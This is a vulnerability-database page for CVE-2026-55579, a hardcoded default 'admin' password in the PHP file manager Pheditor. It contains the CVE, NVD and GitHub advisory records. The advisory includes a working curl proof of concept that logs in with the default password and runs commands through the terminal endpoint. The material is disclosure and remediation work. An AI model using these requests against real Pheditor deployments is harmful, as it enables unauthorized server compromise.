Vulnerability-Lookup

CVE-2026-55579 (GCVE-0-2026-55579)

Vulnerability from cvelistv5 – Published: 2026-07-27 17:54 – Updated: 2026-07-27 18:59

Title

Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise

Summary

Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. This issue has been patched in version 2.0.6.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-27 18:59 UTC

CWE

CWE-798 - Use of Hard-coded Credentials

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/pheditor/pheditor/security/adv…	x_refsource_CONFIRM
https://github.com/pheditor/pheditor/releases/tag/2.0.6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
pheditor	pheditor	Affected: >= 2.0.1, < 2.0.6	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55579",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-27T18:59:14.678268Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-27T18:59:35.588Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pheditor",
          "vendor": "pheditor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.1, \u003c 2.0.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. This issue has been patched in version 2.0.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-798",
              "description": "CWE-798: Use of Hard-coded Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-27T17:54:45.156Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
        },
        {
          "name": "https://github.com/pheditor/pheditor/releases/tag/2.0.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
        }
      ],
      "source": {
        "advisory": "GHSA-p4h7-p9rj-2pq2",
        "discovery": "UNKNOWN"
      },
      "title": "Pheditor: Hardcoded default password \u0027admin\u0027 with no forced change enables full application compromise"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55579",
    "datePublished": "2026-07-27T17:54:45.156Z",
    "dateReserved": "2026-06-16T23:18:03.169Z",
    "dateUpdated": "2026-07-27T18:59:35.588Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-55579",
      "date": "2026-09-17",
      "epss": "0.00603",
      "percentile": "0.47326"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55579\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-27T18:16:56.880\",\"lastModified\":\"2026-07-27T20:32:11.620\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. This issue has been patched in version 2.0.6.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"pheditor\",\"product\":\"pheditor\",\"versions\":[{\"version\":\"\u003e= 2.0.1, \u003c 2.0.6\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-27T18:59:14.678268Z\",\"id\":\"CVE-2026-55579\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-798\"}]}],\"references\":[{\"url\":\"https://github.com/pheditor/pheditor/releases/tag/2.0.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-55579\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-27T18:59:14.678268Z\"}}}], \"references\": [{\"url\": \"https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-27T18:59:32.104Z\"}}], \"cna\": {\"title\": \"Pheditor: Hardcoded default password \u0027admin\u0027 with no forced change enables full application compromise\", \"source\": {\"advisory\": \"GHSA-p4h7-p9rj-2pq2\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 9.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"pheditor\", \"product\": \"pheditor\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 2.0.1, \u003c 2.0.6\"}]}], \"references\": [{\"url\": \"https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2\", \"name\": \"https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/pheditor/pheditor/releases/tag/2.0.6\", \"name\": \"https://github.com/pheditor/pheditor/releases/tag/2.0.6\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. This issue has been patched in version 2.0.6.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-798\", \"description\": \"CWE-798: Use of Hard-coded Credentials\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-27T17:54:45.156Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-55579\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-27T18:59:35.588Z\", \"dateReserved\": \"2026-06-16T23:18:03.169Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-27T17:54:45.156Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55579

Vulnerability from fkie_nvd - Published: 2026-07-27 18:16 - Updated: 2026-07-27 20:32

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/pheditor/pheditor/releases/tag/2.0.6
	security-advisories@github.com	https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "pheditor",
          "vendor": "pheditor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.1, \u003c 2.0.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.6, Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. This issue has been patched in version 2.0.6."
    }
  ],
  "id": "CVE-2026-55579",
  "lastModified": "2026-07-27T20:32:11.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55579",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-27T18:59:14.678268Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-27T18:16:56.880",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-798"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-P4H7-P9RJ-2PQ2

Vulnerability from github – Published: 2026-07-16 20:11 – Updated: 2026-07-16 20:11

Summary

Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise

Details

Summary

Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.

Details

Tested repository: https://github.com/pheditor/pheditor

Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)

Affected version: All versions of Pheditor

The password is hardcoded at pheditor.php:11:

define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');

This is the SHA-512 hash of the string admin:

echo -n 'admin' | sha512sum
c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec

The application displays a warning banner at pheditor.php:1956-1958 when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.

The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.

Combined impact: With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.

PoC

Environment: Any system running Pheditor with default configuration.

Setup:

git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &

Positive trigger — authenticate with default password:

curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}"

Expected: 200 — successful authentication with the default password admin.

Verify full access:

TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="

Expected: id output showing web server user — proves full system access through default credentials combined with terminal RCE.

Control (wrong password):

curl -s -X POST http://localhost:8080/pheditor.php \
  -d "pheditor_password=wrongpassword" | grep -o 'not correct'

Expected: not correct — authentication logic works but default password is trivially guessable.

Cleanup:

kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt

Impact

Use of Hard-coded Credentials (CWE-798). The default password admin is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.

Attacker privileges: Unauthenticated remote attacker (PR:N).

Security boundary crossed: Unauthenticated → fully authenticated administrator.

Confidentiality impact: High — read all files within MAIN_DIR and beyond (via terminal).

Integrity impact: High — write/delete files, upload webshells, modify application code, execute arbitrary commands.

Availability impact: High — delete files and directories, disrupt services.

Suggested remediation: 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use password_hash() / password_verify() with PASSWORD_BCRYPT instead of raw SHA-512.

Credits

Thai Son Dinh from VinSOC Labs (R&D)

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pheditor/pheditor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T20:11:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nPheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.\n\n### Details\n\nTested repository: https://github.com/pheditor/pheditor\n\nTested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`)\n\nAffected version: All versions of Pheditor\n\nThe password is hardcoded at `pheditor.php:11`:\n\n```php\ndefine(\u0027PASSWORD\u0027, \u0027c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec\u0027);\n```\n\nThis is the SHA-512 hash of the string `admin`:\n```bash\necho -n \u0027admin\u0027 | sha512sum\nc7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec\n```\n\nThe application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual \u2014 there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.\n\nThe password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.\n\n**Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.\n\n### PoC\n\n**Environment:** Any system running Pheditor with default configuration.\n\n**Setup:**\n```bash\ngit clone https://github.com/pheditor/pheditor /tmp/pheditor-test\ncd /tmp/pheditor-test\nphp -S localhost:8080 pheditor.php \u0026\n```\n\n**Positive trigger \u2014 authenticate with default password:**\n```bash\ncurl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  -d \"pheditor_password=admin\" -L -o /dev/null -w \"%{http_code}\"\n```\nExpected: `200` \u2014 successful authentication with the default password `admin`.\n\n**Verify full access:**\n```bash\nTOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \\\n  grep -o \u0027token = \"[a-f0-9]*\"\u0027 | grep -o \u0027\"[a-f0-9]*\"\u0027 | tr -d \u0027\"\u0027)\ncurl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \u0027command=echo `id`\u0027 \\\n  --data-urlencode \"dir=\"\n```\nExpected: `id` output showing web server user \u2014 proves full system access through default credentials combined with terminal RCE.\n\n**Control (wrong password):**\n```bash\ncurl -s -X POST http://localhost:8080/pheditor.php \\\n  -d \"pheditor_password=wrongpassword\" | grep -o \u0027not correct\u0027\n```\nExpected: `not correct` \u2014 authentication logic works but default password is trivially guessable.\n\n**Cleanup:**\n```bash\nkill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt\n```\n\n### Impact\n\nUse of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.\n\n**Attacker privileges:** Unauthenticated remote attacker (PR:N).\n\n**Security boundary crossed:** Unauthenticated \u2192 fully authenticated administrator.\n\n**Confidentiality impact:** High \u2014 read all files within MAIN_DIR and beyond (via terminal).\n\n**Integrity impact:** High \u2014 write/delete files, upload webshells, modify application code, execute arbitrary commands.\n\n**Availability impact:** High \u2014 delete files and directories, disrupt services.\n\n**Suggested remediation:**\n1. Remove the default password \u2014 require user to set a password during installation.\n2. Add a setup wizard that forces password creation on first access.\n3. Add a forced password change on first login with default credentials.\n4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-p4h7-p9rj-2pq2",
  "modified": "2026-07-16T20:11:23Z",
  "published": "2026-07-16T20:11:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-p4h7-p9rj-2pq2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pheditor/pheditor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pheditor/pheditor/releases/tag/2.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pheditor: Hardcoded default password \u0027admin\u0027 with no forced change enables full application compromise"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55579 (GCVE-0-2026-55579)

FKIE_CVE-2026-55579

GHSA-P4H7-P9RJ-2PQ2

Summary

Details

PoC

Impact

Credits

Tags

Sightings

Nomenclature

Related by attack behaviour